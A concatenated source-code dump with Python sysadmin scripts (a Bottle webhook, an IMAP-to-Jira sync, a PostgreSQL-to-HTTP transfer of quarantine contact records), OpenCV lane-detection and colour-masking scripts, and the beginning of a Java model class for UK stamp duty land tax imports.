msg.as_string()) server.quit() def get_messages(request): """ """ processed = [] x = {} author_mail = request['author']['mail'] author_name = html.unescape( request['author']['name']) # Замена numeric character reference notation в юникод-строку description = html.unescape(request['description']) id = request['id'] result = process_request(request) for item in result: x['recipients'] = [s.format(author_mail=author_mail) for s in item['recipients']] files = ''.join(s + '\n' for s in item['files']) x['message'] = item['message_template'].format(author_mail=author_mail, author_name=author_name, description=description, id=id, files=files) processed.append(x.copy()) return processed def read_request_from_file(filename): """ """ try: file = open(filename, 'r', encoding='utf-8') request = json.load(file) except Exception as e: logger.error(e) sys.exit(1) finally: file.close() return request def read_config(filename='config.yml'): """ """ temp_log = get_module_logger("read_config") try: file = open(filename, 'r', encoding='utf-8') conf = yaml.safe_load(file) except Exception as e: temp_log.error(e) temp_log.error("Can't read config file " + filename) temp_log.error("Exiting") sys.exit(1) finally: file.close() loglevel = conf['loglevel'] numeric_level = getattr(logging, loglevel.upper(), None) if not isinstance(numeric_level, int): temp_log.error("Invalid loglevel: " + loglevel) sys.exit(1) else: conf['loglevel'] = numeric_level return conf if __name__ == '__main__': config = read_config() logger = get_module_logger("main", config['loglevel']) logger.info("Webhook started") from sys import argv if len(argv) == 2: bottle.run(host='0.0.0.0', port=int(argv[1]), debug=False, quiet=True) else: bottle.run(host='0.0.0.0', port=9998) <file_sep># coding: utf-8 import pymongo from pymongo import MongoClient client = MongoClient('localhost', 27017) with open('E:/experiments/mongodb/awesomemoscow_report_moscow.js', 'r') as myfile: data = myfile.read() msc = client['AwesomeMoscow'].eval(data) for x in msc['_batch']: print(x['Название_класса']) <file_sep>#### Описание Скрипт для отправки данных из таблицы data БД МП на сервер X. Настройки считываются из `config.json`, интервал запрашиваемых данных из БД берется из переменных окружения `S_FROM`, `S_TO`. ` "dry_run": true` - запуск без отправки на сервер X. #### Сборка ```shell script TAG=contact:0.5 docker build -t "${TAG}" . ``` #### Развертывание Доставить образ на сервер Выставить нужное значение `dry_run` в `config.json` Скопировать `contact.sh`, `config.json` в `/opt/reporting/` Отправка по cron - выполнить команду `crontab -e`, добавить строку ```shell script PATH=/usr/local/bin:/usr/bin:/bin:/usr/games */5 * * * * /opt/reporting/contact.sh ``` Проверить название образа и пути к файлам в `/opt/reporting/contact.sh` #### Отправка данных вручную Отправить данные за `2020-04-28 21:15:01 .. 2020-04-28 21:30:01` с помощью образа `contact:0.5` ```shell script export LOGPATH=/opt/reporting/logs/contact/processing.log export CONFPATH=/opt/reporting/contact_config.json docker run -e S_FROM=`date -d "2020-04-28T21:15:01" --iso=seconds` -e S_TO=`date -d "2020-04-28T21:30:01" --iso=seconds` -v "${CONFPATH}":/app/config.json -v "${LOGPATH}":/app/processing.log contact:0.5 ``` <file_sep>pytest==4.4.1 bottle==0.12.16 boddle==0.2.8 PyYAML==5.1 <file_sep>certifi==2020.4.5.1 chardet==3.0.4 hurry.filesize==0.9 idna==2.9 psycopg2-binary==2.8.5 requests==2.23.0 urllib3==1.25.9 <file_sep>import imaplib import email import sys import logging import traceback import re from bs4 import BeautifulSoup from jira import JIRA # получить идентификатор задачи из темы письма def getHPSMIdFromSubject(subject): pattern = re.compile('(IM|C|T)\d{8}') res = pattern.search(subject) if res: return res.group() def fetchFirstEmail(mail): status, data = mail.fetch(b'1', '(RFC822)') msg_raw = data[0][1] return email.message_from_bytes(msg_raw, _class=email.message.EmailMessage) def moveFirstEmailToArchive(mail): result = mail.copy(b'1', 'Archive') if result[0] == 'OK': mov, data = mail.store(b'1', '+FLAGS', '(\Deleted)') mail.expunge() return result[0] def taskExistsInJira(jira, taskname): query = 'summary ~ ' + taskname + ' AND project = pimi-2 and reporter = hpsm2jira' issues = jira.search_issues(query) return len(issues) > 0 def searchOpenTaskInJira(jira, taskname): query = 'summary ~ ' + taskname + ' AND project = pimi-2 and reporter = hpsm2jira and resolution = Unresolved' issues = jira.search_issues(query) return len(issues) > 0 def getEmailCharset(msg): sub = email.header.decode_header(msg["Subject"]) return sub[0][1] def getEmailSubject(msg): charset = getEmailCharset(msg) sub = email.header.decode_header(msg["Subject"]) return sub[0][0].decode(charset) def getEmailBody(msg): charset = getEmailCharset(msg) body = msg.get_payload(decode=True).decode(charset) soup = BeautifulSoup(body, 'html.parser') s = soup.prettify() soup2 = BeautifulSoup(s, 'html.parser') s = soup2.get_text() return s.replace('\n\n', '\n').replace(' \n', '') logging.basicConfig(format='%(asctime)s %(message)s', datefmt='%Y-%m-%d %H:%M:%S', filename='processing.log') # logging.getLogger("requests").setLevel(logging.WARNING) logger = logging.getLogger('hpsm2jira') logger.setLevel(logging.DEBUG) project_name = 'pimi2' issue_type = 'Routine' mailbox_username = '<EMAIL>' mailbox_pass = '<PASSWORD>' try: logger.info('Connecting to http://jira.x.ru with login hpsm2jira') jac = JIRA('http://jira.x.ru', basic_auth=('hpsm2jira', '<PASSWORD>'), logging=False) logger.info('Connected') logger.info('Connecting to ' + mailbox_username) mail = imaplib.IMAP4_SSL('imap.yandex.ru') mail.login(mailbox_username, mailbox_pass) logger.info('Connected') except Exception as e: logger.error(traceback.format_exc()) sys.exit(1) # работа с уведомлениями о назначении задач folder = "Backlog" result, numMessages = mail.select(folder) if result != 'OK': logger.error('Cannot select %s folder', folder) sys.exit(1) result, data = mail.search(None, 'ALL') num = len(data[0].split()) count = int(numMessages[0]) if count != num: logger.error('Ошибка. Количество сообщений не совпадает') sys.exit(1) logger.info('Selecting %s folder, founded %d messages', folder, count) i = 0 while i < count: try: msg = fetchFirstEmail(mail) subject = getEmailSubject(msg) logger.info(' ' + subject) if msg.is_multipart(): raise Exception(' Multipart e-mail. Skip processing') HPSMId = getHPSMIdFromSubject(subject) if not HPSMId: raise Exception(' HPSM ID not found in subject') logger.info(' Found ' + HPSMId + ' in subject of the email') if taskExistsInJira(jac, HPSMId): raise Exception(' Issue with such HPSM ID is always present in JIRA') description = getEmailBody(msg) issue_dict = dict(project={'key': project_name}, summary=subject, description=description, issuetype={'name': issue_type}) new_issue = jac.create_issue(fields=issue_dict) logger.info(' Create issue %s %s in project %s', issue_type, new_issue.key, project_name) except Exception as e: logger.error(traceback.format_exc()) finally: logger.info(' Move message to archive folder') moveFirstEmailToArchive(mail) i = i + 1 # работа с уведомлениями о решении задач и закрытие задач в jira # fetch mail only from Resolved folder. This folder must contain only emails for closed tasks. # What emails should go to this folder depends on email processing rules. folder = "Resolved" result, numMessages = mail.select(folder) if result != 'OK': logger.error('Cannot select %s folder', folder) sys.exit(1) count = int(numMessages[0]) logger.info('Selecting %s folder, founded %d messages', folder, count) i = 0 HPSMId = None while i < count: try: msg = fetchFirstEmail(mail) subject = getEmailSubject(msg) logger.info(' ' + subject) if msg.is_multipart(): raise Exception(' Multipart e-mail. Skip processing') HPSMId = getHPSMIdFromSubject(subject) if not HPSMId: raise Exception(' HPSM ID not found in subject') logger.info(' Found ' + HPSMId + ' in subject of the email') if not searchOpenTaskInJira(jac, HPSMId): raise Exception(' Cannot found open issue in JIRA with HPSM ID = ' + HPSMId + '. Nothing to resolve') query = 'summary ~ ' + HPSMId + ' AND project = pimi-2 and reporter = hpsm2jira and resolution = Unresolved' issues = jac.search_issues(query) if len(issues) > 1: raise Exception(' Found more than one open issue with HPSM ID = ' + HPSMId ) # transitions = jac.transitions(issues[0]) # transition to 'done' id='21' rslt = jac.transition_issue(issues[0], '21') logger.info(' Transition ' + issues[0].fields.summary + ' to Done') except Exception as e: logger.error(traceback.format_exc()) finally: logger.info(' Move message to archive folder') moveFirstEmailToArchive(mail) i = i + 1 mail.close() mail.logout() logger.info('Close mailbox') <file_sep> [job-local "job-executed-on-current-host"] schedule = @every 40s command = docker run --rm --name art -v D:\projects\experiments\python\artifactory-retention\config.json:/app/config.json docker.artifactory.x.ru/artifactory-retention:0.2 python main.py --dry-run <file_sep>var y = NumberDecimal(100.1); print(y); var x = y + ""; print(x); var z = x.replace("NumberDecimal(\"", ""); z = z.replace("\")", ""); print(z); var t = parseFloat(z); t=t+1; print(t); <file_sep>import json import os import requests, argparse import sys from datetime import datetime, timedelta import psycopg2 from psycopg2.extras import DictCursor from psycopg2.extras import RealDictCursor from psycopg2 import Error import logging import traceback import requests from urllib3.util.retry import Retry from requests.adapters import HTTPAdapter # функция переноса контактов из БД PostgreSqL на удаленный сервер, принимающий post-запросы # данные для подключения к базе и url сервера считываются из config.json # границы временного интервала берутся из окружения: # s_to - верхняя граница # если dry_run=True - post запрос не выполняется # из data берется event_occurred или upload_date -что первым будет не null # из результата запроса исключаются записи с тестовых девайсов def Transfer(db, user, passwd, host, port, remote_serv, dry_run=True): obj = {} try: ssn = requests.Session() # пытаемся отослать данные серверу за 2 попытки retries = Retry(total=2, backoff_factor=1) ssn.mount(remote_serv, HTTPAdapter(max_retries=retries)) s_to = os.environ["S_TO"] logger.debug("Connect to database") conn = psycopg2.connect(dbname=db, user=user, password=<PASSWORD>, host=host, port=port) conn.autocommit = True cursor = conn.cursor(cursor_factory=RealDictCursor) logcursor = conn.cursor(cursor_factory=RealDictCursor) logger.debug("Run PostgreSql query") logger.debug("Search data not uploaded or uploaded with error, upload_date up to " + s_to) cursor.execute("select id, secondname, firstname, middlename, birthdate, doc_seria_number, phone, " "scenario_id, prescript_number, " "prescript_quarantine_address_fias_code, prescript_quarantine_address, prescript_quarantine_address_apt, " "prescript_quarantine_enddate, " "epidemic_case_id, role, " "latitude, longitude, " "to_char(upload_date, 'YYYY-MM-DD\"T\"HH24:MI:SS.MS') as upload_date, " "agreement_quarantine_address_fias_code, agreement_quarantine_address, agreement_quarantine_address_apt, " "agreement_quarantine_date, " "event_address_fias_code, event_address, event_address_apt, " "to_char(least(coalesce(event_occurred, upload_date),upload_date), 'YYYY-MM-DD\"T\"HH24:MI:SS.MS') as event_occurred " "from data " "where upload_date < %s and " "(sit_sending_status is null or sit_sending_status in (1,2)) and status=2 " "and enable_send_sit is True " "order by upload_date " "limit 1000", (s_to,)) for row in cursor: arr = [] obj = row.copy() obj['latitude'] = str(row['latitude']) obj['longitude'] = str(row['longitude']) obj['organization'] = None obj['sick_state'] = None obj['sick_action'] = None obj['sick_severity'] = None obj['hospital_name'] = None obj['observator_name'] = None obj['event_succeeded'] = None obj['event_failure_reason'] = None obj['event_failure_comment'] = None obj['sick_action_status'] = None obj['device_id'] = None obj['discharge_date'] = None obj['discharge_reason'] = None obj['discharge_comment'] = None obj['hospital_guid'] = None obj['observator_guid'] = None obj['organization_guid'] = None obj['epidemic_case_guid'] = None obj['risk_group'] = None if (row['prescript_quarantine_address_fias_code']): if (row['prescript_quarantine_address']): obj['prescript_quarantine_address'] = obj['prescript_quarantine_address'] + ' кв. ' + obj[ 'prescript_quarantine_address_apt'] if (row['agreement_quarantine_address_fias_code']): if (row['agreement_quarantine_address']): obj['agreement_quarantine_address'] = obj['agreement_quarantine_address'] + ' кв. ' + obj[ 'agreement_quarantine_address_apt'] if (row['event_address_fias_code']): if (row['event_address']): obj['event_address'] = obj['event_address'] + ' кв. ' + obj['event_address_apt'] if (row['birthdate']): obj['birthdate'] = str(row['birthdate']) if (row['agreement_quarantine_date']): obj['agreement_quarantine_date'] = str(row['agreement_quarantine_date']) if (row['prescript_quarantine_enddate']): obj['prescript_quarantine_enddate'] = str(row['prescript_quarantine_enddate']) arr.append(obj) # js_str = json.dumps(arr) log_string = obj['id'] if not dry_run: logger.debug("POST data") dest_code = 1 # DIT data_now = datetime.now() data_id = obj['id'] error_code = None stack_trace = None error_message = None response = None # sit_sending_status: # NULL - запись не отправлялась, # 0 - успешно доставлена, 2 - ошибка отправки из-за недоступности сервиса sit_sending_status = None try: # постим данные используя сессию и повторы response = ssn.post(remote_serv, json=arr) # если статус ответа 4xx 5xx, возбуждаем исключение типа HTTPError, которое далее перехватываем response.raise_for_status() log_string += ',' + str(response.status_code) sit_sending_status = 0 except Exception as e: error_message = type(e).__name__ stack_trace = traceback.format_exc() # если сервис вернул код ошибки 4xx 5xx => записываем его в error_code, # если исключение возникло по другой причине (таймаут, сеть) # то записываем 1 if response is None: error_code = 1 else: error_code = response.status_code sit_sending_status = 2 log_string += ',' + str(error_code) logger.error(stack_trace) try: # только в случае ошибок # логируем в таблицу data_send_error результат post'а logger.debug("Insert into data_send_error") data_error_query = "insert into " \ "data_send_error(destination, data_id, attempt_timestamp, error_code, error_message, stack_trace) " \ "values(%s, %s, %s, %s, %s, %s);" logcursor.execute(data_error_query, (dest_code, data_id, data_now, error_code, error_message, stack_trace)) logger.debug(str(logcursor.rowcount) + " rows affected") except Exception as ex: logger.error(traceback.format_exc()) log_string += ',' + obj['upload_date'] + ',' + obj['event_occurred'] logger.debug(log_string) update_sit_status_query = "update data " \ "set sit_sending_status=%s, sit_sent_timestamp=%s, " \ "sit_data_send_error_error_code=%s, " \ "sit_data_send_error_error_message=%s, " \ "sit_data_send_error_stack_trace=%s " \ "where id=%s;" try: logcursor.execute(update_sit_status_query, (sit_sending_status, data_now, error_code, error_message, stack_trace, data_id)) logger.debug("Update status in data: " + str(logcursor.rowcount) + " rows affected") except Exception: logger.error(traceback.format_exc()) else: logger.debug("dry_run - nothing to do") log_string += ',not_applicable' logger.debug(log_string) except Exception as ex: logger.error(traceback.format_exc()) sys.exit(1) finally: if (conn): cursor.close() logcursor.close() conn.close() if __name__ == '__main__': logging.basicConfig(format='%(asctime)s %(message)s', datefmt='%Y-%m-%d %H:%M:%S', filename='processing.log') logger = logging.getLogger('ContactTransfer') logger.setLevel(logging.DEBUG) # отключаем сообщения в общий лог о повторной посылке (retries) от urllib3 logging.getLogger('requests').setLevel(logging.CRITICAL) logging.getLogger('urllib3').setLevel(logging.CRITICAL) try: file = open("config.json", 'r', encoding='utf-8') conf = json.load(file) except Exception as e: logger.error(traceback.format_exc()) sys.exit(2) finally: file.close() Transfer(conf['dbname'], conf['user'], conf['password'], conf['host'], conf['port'], conf['remote_server'], conf['dry_run'])<file_sep>FROM python:3-slim ENV PYTHONUNBUFFERED 1 ENV TZ=Europe/Moscow RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone COPY ./requirements.txt /requirements.txt RUN pip install -r /requirements.txt RUN mkdir /app WORKDIR /app COPY main.py /app CMD ["python", "main.py"]
8007a94862695aaa6c90a2cd4706a0451bcfc4bd
[ "SQL", "JavaScript", "Markdown", "INI", "Python", "Text", "Dockerfile", "Shell" ]
36
Shell
expo-lux/scripts
801e4bef8bf6c7c1b9c936d3d4599492f4f3002c
6863117370cfb7c868462ab603aee306cf5a0647
refs/heads/main
<file_sep>import cv2 import numpy as np import math video = cv2.VideoCapture(r"C:\Users\sinha\Downloads\lane_vgt.mp4") cnt=1 while True: ret, orig_frame = video.read() if not ret: video = cv2.VideoCapture(r"C:\Users\sinha\Downloads\lane_vgt.mp4") continue if cnt==1: #height,width=orig_frame.shape[:2] #roi=np.array([[(0, height), (10, 350), (400, 150), (2500, height)]], dtype=np.int32) #blank = np.zeros_like(orig_frame) #r = cv2.fillPoly(blank, roi, 255) r = cv2.selectROI(orig_frame) cnt=2 imCrop = orig_frame[int(r[1]):int(r[1]+r[3]), int(r[0]):int(r[0]+r[2])] #frame = cv2.medianBlur(orig_frame, 5) #frame = cv2.bilateralFilter(orig_frame, 7, 75, 75) frame = cv2.GaussianBlur(imCrop, (5,5), 0) kernal = np.ones((5,5),np.uint8) # opening = cv2.morphologyEx(frame, cv2.MORPH_CLOSE, kernal) closing = cv2.morphologyEx(frame, cv2.MORPH_CLOSE, kernal) #cat = np.ones((3,3),np.unit8) #dilation = cv2.dilate(opening, kernal, 3) # kel = np.ones((3,3),np.uint8) #ppl = cv2.erode(opening, kel) hsv = cv2.cvtColor(closing, cv2.COLOR_BGR2HSV) low_yellow = np.array([45, 40, 180]) up_yellow = np.array([172, 111, 255]) mask = cv2.inRange(hsv, low_yellow, up_yellow) #threshold = cv2.threshold(mask, 170, 255, cv2.THRESH_BINARY) edges = cv2.Canny(mask, 50, 150) lines = cv2.HoughLinesP(edges, 1, np.pi/180, 50, maxLineGap=50) if lines is not None: for line in lines: x1, y1, x2, y2 = line[0] x1=x1+r[0] y1=y1+r[1] x2=x2+r[0] y2=y2+r[1] m=(y2-y1)/(x2-x1) if m<0.283 and m>-0.5: continue cv2.line(orig_frame, (x1, y1), (x2, y2), (0, 0 , 225), 2) cv2.imshow("mask", mask) cv2.imshow("orig_frame", orig_frame) cv2.imshow("edges", edges) key = cv2.waitKey(1) if key == 27: break video.release() cv2.destroyAllWindows() <file_sep>import cv2 import numpy as np import time video = cv2.VideoCapture(0,cv2.CAP_DSHOW) time.sleep(3) for i in range(30): check,background = video.read() background = np.flip(background, axis=1) while(video.isOpened()): check,img=video.read() if check==False: break img=np.flip(img,axis=1) hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV) lower_red = np.array([0,120,50]) upper_red = np.array([10,255,255]) mask1 = cv2.inRange(hsv,lower_red,upper_red) lower_red = np.array([170,120,70]) upper_red = np.array([180,255,255]) mask2 = cv2.inRange(hsv,lower_red,upper_red) mask1 = mask1+mask2 mask1 = cv2.morphologyEx(mask1, cv2.MORPH_OPEN, np.ones((3,3), np.uint8)) mask1 = cv2.morphologyEx(mask1, cv2.MORPH_DILATE, np.ones((3,3), np.uint8)) mask2 = cv2.bitwise_not(mask1) res1 = cv2.bitwise_and(img,img, mask=mask2) res2 = cv2.bitwise_and(background,background, mask=mask1) final = cv2.addWeighted(res1, 1, res2, 1, 0) cv2.imshow("final",final) key = cv2.waitKey(1) if key == ord('q'): break video.release() cv2.destroyAllWindows()
9852ff9f93f4d9742e040e05d9fca4bcbc6abdd0
[ "Python" ]
2
Python
shambhavi1204/opencv
fb4c6e6230aebc2d9b70d3c2cbe3211aa71f838a
72a8f87e5cded92009e9400e7620ca64f7f80773
refs/heads/master
<repo_name>nedashley/sdlt-api<file_sep>/src/main/java/com/redmonkeysoftware/sdlt/model/LeaseType.java package com.redmonkeysoftware.sdlt.model; import org.apache.commons.lang3.StringUtils; public enum LeaseType implements BaseEnumType { MIXED("M", "Mixed"), RESIDENTIAL("R", "Residential"), NON_RESIDENTIAL("N", "Non Residential"); private final String code; private final String description; private LeaseType(final String code, final String description) { this.code = code; this.description = description; } @Override public String getCode() { return code; } @Override public String getDescription() { return description; } @Override public String toString() { return code; } public static LeaseType fromCode(final String code) { for (LeaseType ict : values()) { if (StringUtils.equalsIgnoreCase(ict.getCode(), code)) { return ict; } } return null; } } <file_sep>/src/main/java/com/redmonkeysoftware/sdlt/model/SdltImportRequest.java package com.redmonkeysoftware.sdlt.model; import java.io.Serializable; import java.math.BigDecimal; import java.time.LocalDate; import java.time.LocalDateTime; import java.util.ArrayList; import java.util.List; public class SdltImportRequest implements Serializable { private static final long serialVersionUID = -7041373645478666702L; @SdltXmlValue("F_ID") protected String id; @SdltXmlValue("F_DateCreated") protected LocalDateTime created; @SdltXmlValue("F_UserNotes") protected String userNotes; @SdltXmlValue("F_FTBExemptionYesNo") protected Boolean firstTimeBuyer; @SdltXmlValue("F_ClosedOffYesNo") protected Boolean closedOff; @SdltXmlValue("F_StampDutyPaidYesNo") protected Boolean stampDutyPaid; @SdltXmlValue("F_ChequeNumber") protected String chequeNumber; @SdltXmlValue("SDLT_PropertyTypeCode") protected PropertyType propertyType; @SdltXmlValue("SDLT_TransactionDescriptionCode") protected TransactionDescriptionType transactionDescription; @SdltXmlValue("SDLT_InterestCreatedCode") protected InterestCreatedType interestCreated;// @SdltXmlValue("SDLT_InterestCreatedCodeDetailed") protected String interestCreatedDetailed; @SdltXmlValue("SDLT_DateOfTransaction") protected LocalDate dateOfTransaction; @SdltXmlValue("SDLT_AnyRestrictionsYesNo") protected Boolean anyRestrictions; @SdltXmlValue("SDLT_IfYesRestrictionDetails") protected String restrictionDetails; @SdltXmlValue("SDLT_DateOfContract") protected LocalDate dateOfContract; @SdltXmlValue("SDLT_AnyLandExchangedYesNo") protected Boolean anyLandExchanged; @SdltXmlValue("SDLT_IfYesExchangedPostcode") protected String exchangedPostcode; @SdltXmlValue("SDLT_IfYesExchangedBuildingNo") protected String exchangedProperty; @SdltXmlValue("SDLT_IfYesExchangedAddress1") protected String exchangedAddress1; @SdltXmlValue("SDLT_IfYesExchangedAddress2") protected String exchangedAddress2; @SdltXmlValue("SDLT_IfYesExchangedAddress3") protected String exchangedAddress3; @SdltXmlValue("SDLT_IfYesExchangedAddress4") protected String exchangedAddress4; @SdltXmlValue("SDLT_PursantToPreviousAgreementYesNo") protected Boolean pursantToPreviousAgreement; @SdltXmlValue("SDLT_ClaimingTaxReliefYesNo") protected Boolean claimingTaxRelief; @SdltXmlValue("SDLT_IfYesTaxReliefReasonCode") protected TaxReliefType taxReliefReason; @SdltXmlValue("SDLT_IfYesTaxReliefCharityNo") protected String taxReliefCharityNumber; @SdltXmlValue("SDLT_IfYesTaxReliefAmount") protected BigDecimal taxReliefAmount; @SdltXmlValue("SDLT_TotalConsiderationIncVAT") protected BigDecimal totalConsiderationIncVat; @SdltXmlValue("SDLT_PurchaserTypeCode") protected PurchaserType purchaserTypeCode; @SdltXmlValue("SDLT_TotalConsiderationVAT") protected BigDecimal totalConsiderationVat; @SdltXmlValue("SDLT_ConsiderationFormCode1") protected ConsiderationType considerationFormCode1; @SdltXmlValue("SDLT_ConsiderationFormCode2") protected ConsiderationType considerationFormCode2; @SdltXmlValue("SDLT_ConsiderationFormCode3") protected ConsiderationType considerationFormCode3; @SdltXmlValue("SDLT_ConsiderationFormCode4") protected ConsiderationType considerationFormCode4; @SdltXmlValue("SDLT_TransactionLinkedYesNo") protected Boolean transactionLinked; @SdltXmlValue("SDLT_IfYesTotalLinkedConsiderationIncVAT") protected BigDecimal totalLinkedConsiderationIncVat; @SdltXmlValue("SDLT_TotalTaxDue") protected BigDecimal totalTaxDue; @SdltXmlValue("SDLT_TotalTaxPaid") protected BigDecimal totalTaxPaid; @SdltXmlValue("SDLT_TotalTaxPaidIncPenaltyYesNo") protected Boolean totalTaxPaidIncPenalty; @SdltXmlValue("SDLT_LeaseTypeCode") protected String leaseTypeCode; @SdltXmlValue("SDLT_LeaseStartDate") protected LocalDate leaseStartDate; @SdltXmlValue("SDLT_LeaseEndDate") protected LocalDate leaseEndDate; @SdltXmlValue("SDLT_RentFreePeriod") protected String rentFreePeriod; @SdltXmlValue("SDLT_TotalAnnualRentIncVAT") protected BigDecimal totalAnnualRentIncVat; @SdltXmlValue("SDLT_EndDateForStartingRent") protected LocalDate endDateForStartingRent; @SdltXmlValue("SDLT_LaterRentKnownYesNo") protected Boolean laterRentKnown; @SdltXmlValue("SDLT_LeaseAmountVAT") protected BigDecimal leaseAmountVat; @SdltXmlValue("SDLT_TotalLeasePremiumPayable") protected BigDecimal totalLeasePremiumPayable; @SdltXmlValue("SDLT_NetPresentValue") protected BigDecimal netPresentValue; @SdltXmlValue("SDLT_TotalLeasePremiumTaxPayable") protected BigDecimal totalLeasePremiumTaxPayable; @SdltXmlValue("SDLT_TotalLeaseNPVTaxPayable") protected BigDecimal totalLeaseNpvTaxPayable; @SdltXmlValue("SDLT_NumberOfPropertiesIncluded") protected Integer numberOfPropertiesIncluded; @SdltXmlValue("SDLT_PropertyAddressPostcode") protected String propertyPostcode; @SdltXmlValue("SDLT_PropertyAddressBuildingNo") protected String propertyProperty; @SdltXmlValue("SDLT_PropertyAddress1") protected String propertyAddress1; @SdltXmlValue("SDLT_PropertyAddress2") protected String propertyAddress2; @SdltXmlValue("SDLT_PropertyAddress3") protected String propertyAddress3; @SdltXmlValue("SDLT_PropertyAddress4") protected String propertyAddress4; @SdltXmlValue("SDLT_PropertyLocalAuthorityCode") protected LocalAuthority localAuthorityCode; @SdltXmlValue("SDLT_PropertyTitleNumber") protected String titleNumber; @SdltXmlValue("SDLT_PropertyNLPGUPRN") protected String propertyNlpgUprn; @SdltXmlValue("SDLT_PropertyUnitsHectareMetres") protected String propertyUnitsHectareMetres; @SdltXmlValue("SDLT_PropertyAreaSize") protected String propertyAreaSize; @SdltXmlValue("SDLT_PropertyPlanAttachedYesNo") protected Boolean propertyPlanAttached; @SdltXmlValue("SDLT_TotalNumberOfVendors") protected Integer numberOfVendors; @SdltXmlValue("SDLT_Vendor1Title") protected String vendor1Title; @SdltXmlValue("SDLT_Vendor1Surname") protected String vendor1Surname; @SdltXmlValue("SDLT_Vendor1FirstName1") protected String vendor1FirstName; @SdltXmlValue("SDLT_Vendor1FirstName2") protected String vendor1SecondName; @SdltXmlValue("SDLT_Vendor1AddressPostcode") protected String vendor1AddressPostcode; @SdltXmlValue("SDLT_Vendor1AddressBuildingNo") protected String vendor1AddressProperty; @SdltXmlValue("SDLT_Vendor1Address1") protected String vendor1Address1; @SdltXmlValue("SDLT_Vendor1Address2") protected String vendor1Address2; @SdltXmlValue("SDLT_Vendor1Address3") protected String vendor1Address3; @SdltXmlValue("SDLT_Vendor1Address4") protected String vendor1Address4; @SdltXmlValue("SDLT_Vendor2Title") protected String vendor2Title; @SdltXmlValue("SDLT_Vendor2Surname") protected String vendor2Surname; @SdltXmlValue("SDLT_Vendor2FirstName1") protected String vendor2FirstName; @SdltXmlValue("SDLT_Vendor2FirstName2") protected String vendor2SecondName; @SdltXmlValue("SDLT_Vender2AddressSameYesNo") protected Boolean vendor2SameAddress; @SdltXmlValue("SDLT_Vendor2AddressPostcode") protected String vendor2AddressPostcode; @SdltXmlValue("SDLT_Vendor2AddressBuildingNo") protected String vendor2AddressProperty; @SdltXmlValue("SDLT_Vendor2Address1") protected String vendor2Address1; @SdltXmlValue("SDLT_Vendor2Address2") protected String vendor2Address2; @SdltXmlValue("SDLT_Vendor2Address3") protected String vendor2Address3; @SdltXmlValue("SDLT_Vendor2Address4") protected String vendor2Address4; @SdltXmlValue("SDLT_VendorsAgentFirmName") protected String vendorsAgentFirmName; @SdltXmlValue("SDLT_VendorsAgentAddressPostcode") protected String vendorsAgentPostcode; @SdltXmlValue("SDLT_VendorsAgentAddressBuildingNo") protected String vendorsAgentProperty; @SdltXmlValue("SDLT_VendorsAgentAddress1") protected String vendorsAgentAddress1; @SdltXmlValue("SDLT_VendorsAgentAddress2") protected String vendorsAgentAddress2; @SdltXmlValue("SDLT_VendorsAgentAddress3") protected String vendorsAgentAddress3; @SdltXmlValue("SDLT_VendorsAgentAddress4") protected String vendorsAgentAddress4; @SdltXmlValue("SDLT_VendorsAgentDXNo") protected String vendorsAgentDxNo; @SdltXmlValue("SDLT_VendorsAgentDXExchange") protected String vendorsAgentDxExchange; @SdltXmlValue("SDLT_VendorsAgentEmail") protected String vendorsAgentEmail; @SdltXmlValue("SDLT_VendorsAgentReference") protected String vendorsAgentReference; @SdltXmlValue("SDLT_VendorsAgentTelNo") protected String vendorsAgentTelNumber; @SdltXmlValue("SDLT_Purchaser1NINumber") protected String purchaser1NINumber; @SdltXmlValue("SDLT_Purchaser1DoB") protected LocalDate purchaser1DoB; @SdltXmlValue("SDLT_Purchaser1VATRegNo") protected String purchaser1VatRegNumber; @SdltXmlValue("SDLT_Purchaser1TaxRef") protected String purchaser1TaxRef; @SdltXmlValue("SDLT_Purchaser1CompanyNumber") protected String purchaser1CompanyNumber; @SdltXmlValue("SDLT_Purchaser1PlaceOfIssue") protected String purchaser1PlaceOfIssue; @SdltXmlValue("SDLT_TotalNumberOfPurchasers") protected Integer totalNumberOfPurchasers; @SdltXmlValue("SDLT_Purchaser1Title") protected String purchaser1Title; @SdltXmlValue("SDLT_Purchaser1Surname") protected String purchaser1Surname; @SdltXmlValue("SDLT_Purchaser1FirstName1") protected String purchaser1FirstName1; @SdltXmlValue("SDLT_Purchaser1FirstName2") protected String purchaser1FirstName2; @SdltXmlValue("SDLT_Purchaser1AddressSameQ28YesNo") protected Boolean purchaser1AddressSame; @SdltXmlValue("SDLT_Purchaser1AddressPostcode") protected String purchaser1AddressPostcode; @SdltXmlValue("SDLT_Purchaser1AddressBuildingNo") protected String purchaser1AddressProperty; @SdltXmlValue("SDLT_Purchaser1Address1") protected String purchaser1Address1; @SdltXmlValue("SDLT_Purchaser1Address2") protected String purchaser1Address2; @SdltXmlValue("SDLT_Purchaser1Address3") protected String purchaser1Address3; @SdltXmlValue("SDLT_Purchaser1Address4") protected String purchaser1Address4; @SdltXmlValue("SDLT_Purchaser1ActingAsTrusteeYesNo") protected Boolean purchase1ActingAsTrustee; @SdltXmlValue("SDLT_Purchaser1TelNo") protected String purchaser1Telephone; @SdltXmlValue("SDLT_PurchaserVendorConnectedYesNo") protected Boolean purchaserVendorConnected; @SdltXmlValue("SDLT_Purchaser1CorrespondenceToYesNo") protected Boolean purchaser1CorrespondenceTo; @SdltXmlValue("SDLT_PurchaserAgentFirmName") protected String purchaserAgentFirm; @SdltXmlValue("SDLT_PurchaserAgentAddressPostcode") protected String purchaserAgentAddressPostcode; @SdltXmlValue("SDLT_PurchaserAgentAddressBuildingNo") protected String purchaserAgentAddressProperty; @SdltXmlValue("SDLT_PurchaserAgentAddress1") protected String purchaserAgentAddress1; @SdltXmlValue("SDLT_PurchaserAgentAddress2") protected String purchaserAgentAddress2; @SdltXmlValue("SDLT_PurchaserAgentAddress3") protected String purchaserAgentAddress3; @SdltXmlValue("SDLT_PurchaserAgentAddress4") protected String purchaserAgentAddress4; @SdltXmlValue("SDLT_PurchaserAgentDXNo") protected String purchaserAgentDxNo; @SdltXmlValue("SDLT_PurchaserAgentDXExchange") protected String purchaserAgentDxExchange; @SdltXmlValue("SDLT_PurchaserAgentReference") protected String purchaserAgentReference; @SdltXmlValue("SDLT_PurchaserAgentTelNo") protected String purchaserAgentTel; @SdltXmlValue("SDLT_PurchaserAgentEmail") protected String purchaserAgentEmail; @SdltXmlValue("SDLT_Purchaser2Title") protected String purchaser2Title; @SdltXmlValue("SDLT_Purchaser2Surname") protected String 